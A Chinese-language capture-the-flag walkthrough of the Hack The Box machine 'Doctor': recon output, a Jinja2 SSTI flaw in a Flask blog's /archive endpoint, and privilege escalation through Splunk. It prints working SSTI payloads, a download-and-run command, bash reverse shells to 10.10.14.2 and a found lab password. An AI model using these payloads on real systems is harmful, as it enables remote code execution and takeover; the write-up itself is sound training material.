目标信息
IP地址:
10.10.10.209
信息收集
ICMP检测
PING 10.10.10.209 (10.10.10.209) 56(84) bytes of data.
64 bytes from 10.10.10.209: icmp_seq=1 ttl=63 time=127 ms
64 bytes from 10.10.10.209: icmp_seq=2 ttl=63 time=108 ms
64 bytes from 10.10.10.209: icmp_seq=3 ttl=63 time=115 ms
64 bytes from 10.10.10.209: icmp_seq=4 ttl=63 time=107 ms
--- 10.10.10.209 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3293ms
rtt min/avg/max/mdev = 107.232/114.353/127.308/8.099 ms
攻击机和靶机间通信状态正常。
防火墙检测
# Nmap 7.94SVN scan initiated Fri Oct 25 14:55:53 2024 as: nmap -sA -p- --min-rate 4000 -oN ./ack_report.txt 10.10.10.209
Nmap scan report for 10.10.10.209
Host is up (0.17s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp unfiltered ssh
80/tcp unfiltered http
8089/tcp unfiltered unknown
# Nmap done at Fri Oct 25 14:56:48 2024 -- 1 IP address (1 host up) scanned in 54.14 seconds
靶机开放了3个TCP端口。
网络端口扫描
TCP端口扫描结果
# Nmap 7.94SVN scan initiated Fri Oct 25 14:58:25 2024 as: nmap -sS -sV -A -p 22,80,8089 -oN ./tcp_report.txt 10.10.10.209
Nmap scan report for 10.10.10.209
Host is up (0.096s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
| 256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_ 256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Doctor
|_http-server-header: Apache/2.4.41 (Ubuntu)
8089/tcp open ssl/http Splunkd httpd
|_http-title: splunkd
|_http-server-header: Splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after: 2023-09-06T15:57:27
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized
Running (JUST GUESSING): Linux 5.X|4.X|2.6.X (95%), Crestron 2-Series (86%)
OS CPE: cpe:/o:linux:linux_kernel:5.0 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:crestron:2_series
Aggressive OS guesses: Linux 5.0 (95%), Linux 4.15 - 5.8 (90%), Linux 5.0 - 5.4 (90%), Linux 5.0 - 5.5 (88%), Linux 5.3 - 5.4 (88%), Linux 2.6.32 (87%), Crestron XPanel control system (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 93.62 ms 10.10.14.1
2 94.23 ms 10.10.10.209
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Oct 25 14:59:25 2024 -- 1 IP address (1 host up) scanned in 59.35 seconds
UDP端口开放列表扫描结果
# Nmap 7.94SVN scan initiated Fri Oct 25 15:10:22 2024 as: nmap -sU -p- --min-rate 4000 -oN ./udp_ports.txt 10.10.10.209
Nmap scan report for 10.10.10.209
Host is up (0.099s latency).
Not shown: 65533 open|filtered udp ports (no-response)
PORT STATE SERVICE
80/udp closed http
8089/udp closed unknown
# Nmap done at Fri Oct 25 15:10:56 2024 -- 1 IP address (1 host up) scanned in 33.59 seconds
UDP端口详细信息扫描结果
(无)
同时发现靶机操作系统为Ubuntu Linux,并部署了Splunk企业日志收集系统。
服务探测
SSH服务(22端口)
端口Banner:
┌──(root㉿misaka19008)-[/home/megumin/Documents/pentest_notes/doctor]
└─# nc -nv 10.10.10.209 22
(UNKNOWN) [10.10.10.209] 22 (ssh) open
SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.1
Splunk日志监视系统(8089端口)
打开页面:https://doctor.htb:8089/

发现该端口上运行着Splunk v8.0.5企业日志监视系统,联网搜索漏洞,发现该系统存在授权的远程命令执行漏洞,编号为CVE-2023-46214:

Web应用程序(80端口)
主站信息收集
打开主页:http://doctor.htb/

在页面上收集信息,发现了一个电子邮箱:info@doctors.htb。尝试点击顶栏上的链接,发现虽然页面名称不同,但内容完全一致。
尝试扫描目录:
# Dirsearch started Sat Oct 26 09:43:18 2024 as: /usr/lib/python3/dist-packages/dirsearch/dirsearch.py -u http://doctor.htb/ -x 400,403,404 -t 60 -e php,js,html,txt,zip,tar.gz,pcap
301 305B http://doctor.htb/js -> REDIRECTS TO: http://doctor.htb/js/
301 306B http://doctor.htb/css -> REDIRECTS TO: http://doctor.htb/css/
301 308B http://doctor.htb/fonts -> REDIRECTS TO: http://doctor.htb/fonts/
301 309B http://doctor.htb/images -> REDIRECTS TO: http://doctor.htb/images/
200 621B http://doctor.htb/images/
200 731B http://doctor.htb/js/
但未发现敏感信息。
旁站信息收集
根据收集到的邮箱名,尝试以doctors.htb域名访问靶机Web服务:

尝试对登录、注册和找回密码功能进行SQL注入测试,失败。直接注册用户登录:

在主页上发现New Message链接,点击后跳转到博文发布界面:

尝试在文章标题和内容区内写入XSS测试Payload,点击发布:

发现Payload被转义。尝试在注册页、用户信息更新页等处进行SQL、XSS和垂直越权等攻击,均告失败。
直接扫描目录:
# Dirsearch started Sat Oct 26 10:53:45 2024 as: /usr/lib/python3/dist-packages/dirsearch/dirsearch.py -u http://doctors.htb/ -x 400,403,404 -t 60 -e py,pyc,js,html,txt,zip,tar.gz,pcap
302 251B http://doctors.htb/account -> REDIRECTS TO: http://doctors.htb/login?next=%2Faccount
200 101B http://doctors.htb/archive
302 245B http://doctors.htb/home -> REDIRECTS TO: http://doctors.htb/login?next=%2Fhome
200 4KB http://doctors.htb/login
302 217B http://doctors.htb/logout -> REDIRECTS TO: http://doctors.htb/home
200 4KB http://doctors.htb/register
200 3KB http://doctors.htb/user/admin
发现一个目录/archive,尝试访问:

目测该端点为博客RSS数据接口,接口会返回当前用户发布的所有帖子的标题。经过XSS测试,发现虽然该数据接口未过滤XSS符号,但由于文档开头的XML格式声明,Payload无法执行。
渗透测试
Python SSTI模板注入攻击
**SSTI**服务器端模板注入是攻击者利用原生模板语法将恶意代码注入到可以在服务器端执行的模板中的过程 。在现代Web开发中,开发者通常会将前端静态文档保存为样例文件,并在文档的关键数据位置使用{}符号进行占位;随后在后端开发中,使用Jinja2等模板解析引擎将模板代码文件和后端程序变量绑定后进行页面渲染,其原理类似于SQL预编译查询。但如果开发者直接将变量插入到模板代码内,就会造成SSTI RCE漏洞。通常情况下,{{}}双重花括号内的内容会被模板引擎当作代码执行,如果攻击者传入了此类数据,就可以达到代码执行的效果。
考虑到靶机Web服务由Python构建,并且有2个接口可以查看到用户创建帖子的标题内容,决定尝试进行SSTI模板注入攻击。因为后端可能存在将未经过滤的标题数据从后端取出,并直接插入到模板代码中的情况存在。测试Payload如下:
{{config}}
创建新帖子,将标题内容修改为Payload:

可以看到主页处无法利用,尝试访问/archive接口:

成功确认**/archive**接口处存在**SSTI**漏洞!!
接下来需要构造Payload,获取靶机Python的所有类库:
{{''.__class__.__base__.__subclasses__()}}

成功获取所有类库名称!接下来我们需要使用HTML实体字符解码工具解码返回的Python内置库列表,将其保存在文件中,并编写Python脚本来查找warning.catch_warnings类库的索引位置。该类库存在eval()函数,可以执行任意代码:

#! /usr/bin/python3
pylib_list = ""
with open("./pylib.lst",'r') as f:
pylib_list = f.read().strip('n').split(", ")
for i in range(0, len(pylib_list)):
if pylib_list[i] == "<class 'warnings.catch_warnings'>":
print("[+] warnings.catch_warnings: INDEX %d" %(i))

成功获取warnings.catch_warnings类在全局类库列表中的索引号为185,直接使用__init__、__globals__和__builtins__方法加载该类中的eval()函数,并使用__import__方法加载os库执行system函数:
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}

执行命令成功!!接下来直接反弹Shell(需要从靶机上下载反弹Shell脚本并执行):
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__.__builtins__['eval']("__import__('os').system('wget http://10.10.14.2/reverse443.sh -O /tmp/reverse443.sh && chmod +x /tmp/reverse443.sh && /tmp/reverse443.sh')")}}
#! /bin/bash
/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.2/443 0>&1'

反弹Shell成功!!!
权限提升
本地信息收集
基本系统信息

进程列表

计划任务列表

环境变量

用户信息

用户家目录

特殊权限文件

开放端口信息

敏感文件权限

Capabilities特权

敏感日志内容

经分析研判,发现靶机Splunk企业日志分析系统由root用户运行,决定通过Splunk自定义命令进行提权。同时尝试使用HTTP日志中发现的密码。
移动至shaun用户
尝试使用HTTP日志中发现的密码登录至shaun用户:
- 用户名:
shaun - 密码:
Guitar123

Splunk提权
通过联网搜索,发现了一份远程登录Splunk并上传部署反弹Shell程序的Python脚本PySplunkWhisperer2:

直接下载:
wget https://raw.githubusercontent.com/cnotin/SplunkWhisperer2/refs/heads/master/PySplunkWhisperer2/PySplunkWhisperer2_python3.py
随后将攻击脚本上传至靶机,并执行命令:
./exp.py --username shaun --password Guitar123 --payload "/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.2/4444 0>&1'"

提权成功!!!!
Flag文件展示

